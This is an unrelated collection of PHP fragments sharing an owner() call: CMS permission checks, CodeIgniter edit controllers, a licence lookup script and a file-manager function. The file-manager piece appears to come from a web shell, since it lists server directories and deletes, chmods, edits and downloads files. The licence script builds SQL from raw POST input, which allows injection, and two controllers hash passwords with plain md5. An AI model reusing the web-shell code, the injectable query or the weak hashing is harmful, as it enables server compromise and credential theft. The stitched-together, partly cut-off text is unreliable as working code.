function allowed($action, $posting) { //checks if the author has the right to do a certain action //action 1 = edit a posting //action 2 = publish a posting //action 3 = administration tasks //admin may do anything if (getuserrights("admin")) { return true; } else { switch ($action) { case "1": $tempreturn = false; if (getuserrights("edit_all")) { $tempreturn = true; } else { if (getuserrights("edit_own") and owner($posting)) { $tempreturn = true; } } return $tempreturn; break; case "2": $tempreturn = false; if (getuserrights("publish_all")) { $tempreturn = true; } else { if (getuserrights("publish_own") and owner($posting)) { $tempreturn = true; } } return $tempreturn; break; default: return false; break; } } }
public function edit($id) { $this->_set_rules(); if ($this->form_validation->run() === false) { $xdata['row'] = $this->user_mdl->get_from_field('id', $id)->row(); $xdata['action'] = 'user/edit/' . $id . $this->_filter(); $xdata['breadcrumb'] = 'user' . $this->_filter(); $xdata['heading'] = 'Update'; $xdata['owner'] = owner($xdata['row']); $data['content'] = $this->load->view('user_form', $xdata, true); $this->load->view('template', $data); } else { $data = $this->_field(); $data['user_update'] = $this->session->userdata('user_login'); $data['date_update'] = date('Y-m-d H:i:s'); $this->user_mdl->edit($id, $data); $this->session->set_flashdata('alert', '<div class="alert alert-success">Edit Data Sukses</div>'); redirect('user/edit/' . $id . $this->_filter()); } }
function edit($id) { $this->_set_rules(); if ($this->form_validation->run() === false) { $data['title'] = 'ACS - Update'; $data['breadcrumb'] = 'vendor' . $this->_filter(); $data['heading'] = 'Update'; $data['error'] = validation_errors(); $data['action'] = form_open('vendor/edit/' . $id . $this->_filter()); $data['close'] = form_close(); $data['row'] = $this->mdl_vendor->get_from_field('id', $id)->row(); $data['owner'] = owner($data['row']); $this->template->display('vendor_edit', $data); } else { $data = $this->_field(); $data['user_update'] = $this->session->userdata('user_login'); $data['date_update'] = date('Y-m-d H:i:s'); $this->mdl_vendor->edit($id, $data); $this->session->set_flashdata('alert', '<div class="alert alert-success">Complete...!!!</div>'); redirect('vendor/edit/' . $id . $this->_filter()); } }
public function edit($id) { $this->_set_rules(); if ($this->form_validation->run() === false) { $xdata['row'] = $this->user_model->get_from_field('id', $id)->row(); $xdata['action'] = 'user/edit/' . $id . get_query_string(); $xdata['breadcrumb'] = 'user' . get_query_string(); $xdata['heading'] = 'Update'; $xdata['owner'] = owner($xdata['row']); $data['content'] = $this->load->view('user_form', $xdata, true); $this->load->view('template', $data); } else { $data = $this->_field(); $data['user_update'] = $this->user_login['id']; $data['date_update'] = date('Y-m-d H:i:s'); if ($data['password'] == '') { unset($data['password']); } else { $data['password'] = md5($data['password']); } $this->user_model->edit($id, $data); $this->session->set_flashdata('alert', '<div class="alert alert-success">Data has been edited</div>'); redirect('user/edit/' . $id . get_query_string()); } }
public function edit($id) { $this->_set_rules(); if ($this->form_validation->run() === false) { $xdata['row'] = $this->servis_mdl->get_from_field('id', $id)->row(); $xdata['action'] = 'servis/edit/' . $id . $this->_filter(); $xdata['breadcrumb'] = 'servis' . $this->_filter(); $xdata['heading'] = 'Update'; $xdata['owner'] = owner($xdata['row']); $this->table->set_template(tbl_tmp_servis()); $this->table->set_heading('Komponen Mesin', 'Jenis Perlakuan', 'Satuan', 'Harga Satuan', 'Total Harga', 'Action'); $nomor = $this->servis_mdl->get_from_field('id', $id)->row()->nomor; $servis_detail = $this->general_mdl->get_from_field('servis_detail', 'servis', $nomor); if ($servis_detail->num_rows() > 0) { foreach ($servis_detail->result() as $r) { $this->table->add_row($this->_field_servis_detail($r)); } } else { $this->table->add_row($this->_field_servis_detail()); } $xdata['table'] = $this->table->generate(); $data['content'] = $this->load->view('servis_form', $xdata, true); $this->load->view('template', $data); } else { $data = $this->_field(); $data['user_update'] = $this->session->userdata('user_login'); $data['date_update'] = date('Y-m-d H:i:s'); $this->servis_mdl->edit($id, $data); $nomor = $this->servis_mdl->get_from_field('id', $id)->row()->nomor; $this->servis_detail_mdl->delete_from_field('servis', $nomor); $this->_add_servis_detail($nomor); $this->session->set_flashdata('alert', '<div class="alert alert-success">Edit Data Sukses</div>'); redirect('servis/edit/' . $id . $this->_filter()); } }
{ include "conf.php"; $district = $_POST['district']; $mineral = $_POST['mineral']; $owner = $_POST['owner']; $licence = $_POST['licence']; $query = "SELECT *, AsWKT(SHAPE) AS wkt1 FROM opeaning WHERE licenceno='{$licence}' ORDER by OGR_FID "; $result = mysqli_query($connect, $query); return $result; } if ($district != "" and $mineral != "") { $result = dist(); } elseif ($district != "" or $mineral != "") { $result = mineral(); } elseif ($owner != "") { $result = owner(); } elseif ($licence != "") { $result = licence(); } else { $result = type(); } if ($result->num_rows > 0) { echo '<table class="TFtable table-striped table-border: 1px solid black; table-hover">'; echo "<TR><TD width='40' border: 1px solid black;><h3>S.N <h3></TD><TD width='40'><h3>Owner<h3></TD><TD width='50'><h3>Mineral<h3></TD><TD><h3>Licence-No <h3></TD><TD Width='80' border=5px><h3>Exploration Date<h3></TD><TD width='40'><h3>Expirary Date<h3></TD><TD width='40'><h3>Zone<h3></TD><TD width='40'><h3>District<h3></TD><TD width='50'><h3>Location<h3></TD><TD><h3>X <h3></TD><TD><h3>XX <h3></TD><TD><h3>Y <h3></TD><TD><h3>YY <h3></TD><TD><h3>Topo Sheet <h3></TD><TD Width='80' border=5px><h3>Area (SQ KM)<h3></TD><TD Width='80' border=5px><h3>Type<h3></TD><TD Width='80' border=5px><h3>Map<h3></TD></TR>"; while ($row = $result->fetch_assoc()) { $string = $row["wkt1"]; $regex = '/(\\d+.\\d+)\\s(\\d+.\\d+)/'; preg_match($regex, $string, $matches); $coord = $matches[0]; $pieces = explode(" ", $coord); $lng = $pieces[0];
function scandire($dir) { if (empty($dir)) { $dir = getcwd(); } $dir = chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>' . $pageend . ''); $dir = getcwd() . "/"; $dir = str_replace("\\", "/", $dir); if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if (filetype($dir . $file) == "dir") { $dire[] = $file; } if (filetype($dir . $file) == "file" || filetype($dir . $file) == "link" || filetype($dir . $file) == "socket") { $files[] = $file; } // if(filetype($dir.$file)=="") $files[]=$file; //debug: strange behavior of filetype() with openbasedir, it returns "" // if(filetype($dir.$file)=="link") $files[]=$file; // echo "file = ".$file." (".filetype($file).")<br>"; #debug // if (is_link($file)) { echo " -> ".readlink($file); }; #debug } closedir($dh); @sort($dire); @sort($files); echo "<table border>"; echo '<tr><td><form method="post" action="' . $_SERVER['PHP_SELF'] . '"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="' . $dir . '" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>'; echo "<tr><td>Name</td><td>Type</td><td>Size</td><td>Inode Changed<br>File Modified<br>File Accessed</td><td>Owner<br>Group</td><td>Chmod</td><td>Action</td></tr>"; for ($i = 0; $i < count($dire); $i++) { $link = $dir . $dire[$i]; echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td><td>Dir</td><td>' . view_size(dirsize($link)) . '</td><td><font size="-1">' . date("d/m/Y H:i:s", filectime($link)) . '<br>' . date("d/m/Y H:i:s", filemtime($link)) . '<br>' . date("d/m/Y H:i:s", fileatime($link)) . '</font></td><td>' . owner($link) . '</td><td>' . substr(sprintf('%o', fileperms($link)), -4) . ' <br>(' . view_perms_color($link, "string") . ')</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.dir.value=\'' . $dir . '\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Touch">T</a></td></tr>'; } for ($i = 0; $i < count($files); $i++) { $linkfile = $dir . $files[$i]; echo '<tr><td><a href="#" onclick="document.editor.filee.value=\'' . $linkfile . '\'; document.editor.files.value=\'' . $linkfile . '\'; document.editor.submit();">' . $files[$i] . '</a>'; echo '<br></td><td>File</td><td>' . view_size(filesize($linkfile)) . '</td><td><font size="-1">' . date("d/m/Y H:i:s", filectime($linkfile)) . '<br>' . date("d/m/Y H:i:s", filemtime($linkfile)) . '<br>' . date("d/m/Y H:i:s", fileatime($linkfile)) . '</font></td><td>' . owner($linkfile) . '</td><td>' . substr(sprintf('%o', fileperms($linkfile)), -4) . ' <br>(' . view_perms_color($linkfile, "string") . ')</td><td> <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Download">D</a> <a href="#" onclick="document.editor.filee.value=\'' . $linkfile . '\'; document.editor.files.value=\'' . $linkfile . '\'; document.editor.submit();" title="Edit">E</a> <a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Touch">T</a></td></tr></tr>'; } echo "</table>"; } } }
/** * checks if the author has the right to do a certain action * action 1 = edit a posting * action 2 = publish a posting * action 3 = administration tasks * * @param unknown_type $action * @param unknown_type $posting * @return unknown */ function allowed($action, $posting) { //admin may do anything if (getuserrights('admin')) { return true; } else { switch ($action) { case '1': $tempreturn = false; if (getuserrights("edit_all")) { $tempreturn = true; } else { if (getuserrights("edit_own") and owner($posting)) { $tempreturn = true; } } return $tempreturn; break; case '2': $tempreturn = false; if (getuserrights("publish_all")) { $tempreturn = true; } else { if (getuserrights("publish_own") and owner($posting)) { $tempreturn = true; } } return $tempreturn; break; default: return false; break; } } }